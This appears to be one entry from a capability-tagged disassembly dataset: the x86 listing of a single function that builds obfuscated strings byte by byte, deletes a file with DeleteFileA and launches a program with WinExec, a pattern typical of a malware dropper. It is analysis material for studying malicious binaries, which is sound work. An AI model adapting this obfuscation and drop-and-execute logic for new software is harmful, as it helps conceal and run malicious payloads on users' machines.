Function at 0x4021b9
Capabilities:
Create process on windows
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x13360
call fcn.004036a0
push ebx
push esi
push edi
lea eax, [ebp - 0xb04]
push eax
push 0x3fc
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea eax, [ebp - 0xb04]
push 0x40511c
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0xb04]
push eax
lea eax, [ebp - 0x704]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 4]
push 0x378
push eax
call fcn.00402131
push dword [eax]
lea eax, [ebp - 0x704]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x20
lea ecx, [ebp - 4]
call sub.MFC42.DLL_CString::CString
movzx ax, byte [0x4050cd]
push 0x3d
pop ecx
xor ebx, ebx
mov word [ebp - 0xfc], bx
lea edi, [ebp - 0xfa]
sub eax, 0x29
mov word [ebp - 0x104], ax
movzx ax, byte [0x405061]
sub eax, 5
mov word [ebp - 0x102], ax
movzx ax, byte [0x405065]
add eax, 0x26
mov word [ebp - 0x100], ax
movzx ax, byte [0x40505c]
add eax, 0x6b
mov word [ebp - 0xfe], ax
xor eax, eax
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x104]
push eax
lea ecx, [ebp - 4]
call sub.MFC42.DLL_CString::CString_3
push dword [eax]
lea eax, [ebp - 0x704]
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
lea ecx, [ebp - 4]
call sub.MFC42.DLL_CString::CString
call dword [sym.imp.MSVCRT.dll_rand]
push 4
cdq
pop ecx
idiv ecx
mov dword [ebp - 4], ebx
mov esi, edx
inc esi
inc dword [ebp - 4]
cmp esi, 3
jle 0x4022c9
xor esi, esi
cmp dword [ebp - 4], 4
jg 0x402648
cmp esi, 1
je 0x402551
cmp esi, 3
je 0x402551
cmp esi, 2
jne 0x402424
movzx ax, byte [0x405023]
push 0x38
mov word [ebp - 0x1e6], bx
lea edi, [ebp - 0x1e4]
add eax, 0x13
mov word [ebp - 0x204], ax
movzx ax, byte [0x405081]
lea ecx, [eax + 0x56]
add eax, 0x4b
mov word [ebp - 0x1fc], ax
movzx ax, byte [0x4050d6]
mov word [ebp - 0x202], cx
movzx cx, byte [0x4050de]
add eax, 0xd
mov word [ebp - 0x1fa], ax
movzx ax, byte [0x4050af]
inc ecx
inc ecx
mov word [ebp - 0x200], cx
movzx cx, byte [0x405071]
add eax, 0x4b
mov word [ebp - 0x1f8], ax
movzx ax, byte [0x4050b7]
add ecx, 0x2a
mov word [ebp - 0x1fe], cx
pop ecx
add eax, 8
mov word [ebp - 0x1f6], ax
movzx ax, byte [0x4050d0]
sub eax, 0x2f
mov word [ebp - 0x1f4], ax
movzx ax, byte [0x4050bf]
sub eax, 0x3f
mov word [ebp - 0x1f2], ax
movzx ax, byte [0x4050f4]
add eax, 0x2f
mov word [ebp - 0x1f0], ax
movzx ax, byte [0x4050ff]
add eax, 0x24
mov word [ebp - 0x1ee], ax
movzx ax, byte [0x40502c]
add eax, 0xb
mov word [ebp - 0x1ec], ax
movzx ax, byte [0x4050ad]
add eax, 0x5c
mov word [ebp - 0x1ea], ax
movzx ax, byte [0x4050e9]
add eax, 0x46
mov word [ebp - 0x1e8], ax
xor eax, eax
rep stosd dword es:[edi], eax
push ecx
lea eax, [ebp - 0x704]
mov ecx, esp
push eax
call sub.MFC42.DLL_CString::CString_1
push ecx
mov ecx, esp
lea eax, [ebp - 0x204]
jmp 0x402537
movzx ax, byte [0x4050b5]
push 0x39
pop ecx
mov word [ebp - 0x2ea], bx
lea edi, [ebp - 0x2e8]
add eax, 0x46
mov word [ebp - 0x304], ax
movzx ax, byte [0x4050a1]
add eax, 0x22
mov word [ebp - 0x302], ax
movzx ax, byte [0x40502a]
sub eax, 6
mov word [ebp - 0x300], ax
movzx ax, byte [0x40509b]
add eax, 0x67
mov word [ebp - 0x2fe], ax
movzx ax, byte [0x40509d]
add eax, 0x3d
mov word [ebp - 0x2fc], ax
movzx ax, byte [0x4050ea]
mov word [ebp - 0x2fa], ax
movzx ax, byte [0x40506d]
sub eax, 0x2b
mov word [ebp - 0x2f8], ax
movzx ax, byte [0x405055]
add eax, 0x1f
mov word [ebp - 0x2f6], ax
movzx ax, byte [str.xio__]
sub eax, 0x47
mov word [ebp - 0x2f4], ax
movzx ax, byte [0x405076]
sub eax, 0x37
mov word [ebp - 0x2f2], ax
movzx ax, byte [0x405030]
sub eax, 8
mov word [ebp - 0x2f0], ax
movzx ax, byte [0x4050b0]
sub eax, 0xa
mov word [ebp - 0x2ee], ax
movzx ax, byte [0x40507f]
add eax, 0x35
mov word [ebp - 0x2ec], ax
xor eax, eax
rep stosd dword es:[edi], eax
push ecx
lea eax, [ebp - 0x704]
mov ecx, esp
push eax
call sub.MFC42.DLL_CString::CString_1
push ecx
mov ecx, esp
lea eax, [ebp - 0x304]
push eax
call sub.MFC42.DLL_CString::CString_3
call fcn.00401afd
test al, al
pop ecx
pop ecx
jne 0x40264f
jmp 0x4022be
movzx ax, byte [str.Ici_CJ]
push 0x3a
pop ecx
mov word [ebp - 0xee], bx
lea edi, [ebp - 0xec]
sub eax, 0x14
mov word [ebp - 0x104], ax
movzx ax, byte [0x405027]
sub eax, 0x11
mov word [ebp - 0x102], ax
movzx ax, byte [0x4050c9]
add eax, 0x28
mov word [ebp - 0x100], ax
movzx ax, byte [0x405086]
sub eax, 8
mov word [ebp - 0xfe], ax
movzx ax, byte [0x4050f2]
add eax, 0x38
mov word [ebp - 0xfc], ax
movzx ax, byte [0x405056]
add eax, 0x27
mov word [ebp - 0xfa], ax
movzx ax, byte [0x40503f]
add eax, 3
mov word [ebp - 0xf8], ax
movzx ax, byte [str.L___]
sub eax, 0x46
mov word [ebp - 0xf6], ax
movzx ax, byte [0x405102]
sub eax, 0x2f
mov word [ebp - 0xf4], ax
movzx ax, byte [0x4050e4]
sub eax, 0xe
mov word [ebp - 0xf2], ax
movzx ax, byte [0x4050c7]
sub eax, 0x4a
mov word [ebp - 0xf0], ax
xor eax, eax
rep stosd dword es:[edi], eax
push ecx
lea eax, [ebp - 0x704]
mov ecx, esp
push eax
call sub.MFC42.DLL_CString::CString_1
push ecx
mov ecx, esp
lea eax, [ebp - 0x104]
jmp 0x402537
xor al, al
jmp 0x402752
lea eax, [ebp - 4]
push 0x61
push eax
call fcn.00402131
push dword [eax]
lea eax, [ebp - 0xb04]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
lea ecx, [ebp - 4]
call sub.MFC42.DLL_CString::CString
movzx ax, byte [0x4050b1]
push 0x3d
pop ecx
mov word [ebp - 0xfc], bx
lea edi, [ebp - 0xfa]
sub eax, 0x4d
mov word [ebp - 0x104], ax
movzx ax, byte [0x40506f]
add eax, 0xd
mov word [ebp - 0x102], ax
movzx ax, byte [0x4050d4]
add eax, 0x14
mov word [ebp - 0x100], ax
movzx ax, byte [str.o_fCp]
sub eax, 0xa
mov word [ebp - 0xfe], ax
xor eax, eax
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x104]
push eax
lea ecx, [ebp - 4]
call sub.MFC42.DLL_CString::CString_3
push dword [eax]
lea eax, [ebp - 0xb04]
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
lea ecx, [ebp - 4]
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x13360]
call fcn.004010da
lea eax, [ebp - 0xb04]
push eax
lea eax, [ebp - 0x704]
push eax
lea ecx, [ebp - 0x13360]
call fcn.0040178e
cmp al, 1
jne 0x402745
lea eax, [ebp - 0x704]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push eax
sub eax, 0x101
pop eax
push 5
lea eax, [ebp - 0xb04]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
mov bl, 1
lea ecx, [ebp - 0x13360]
call fcn.00401193
mov al, bl
pop edi
pop esi
pop ebx
leave
ret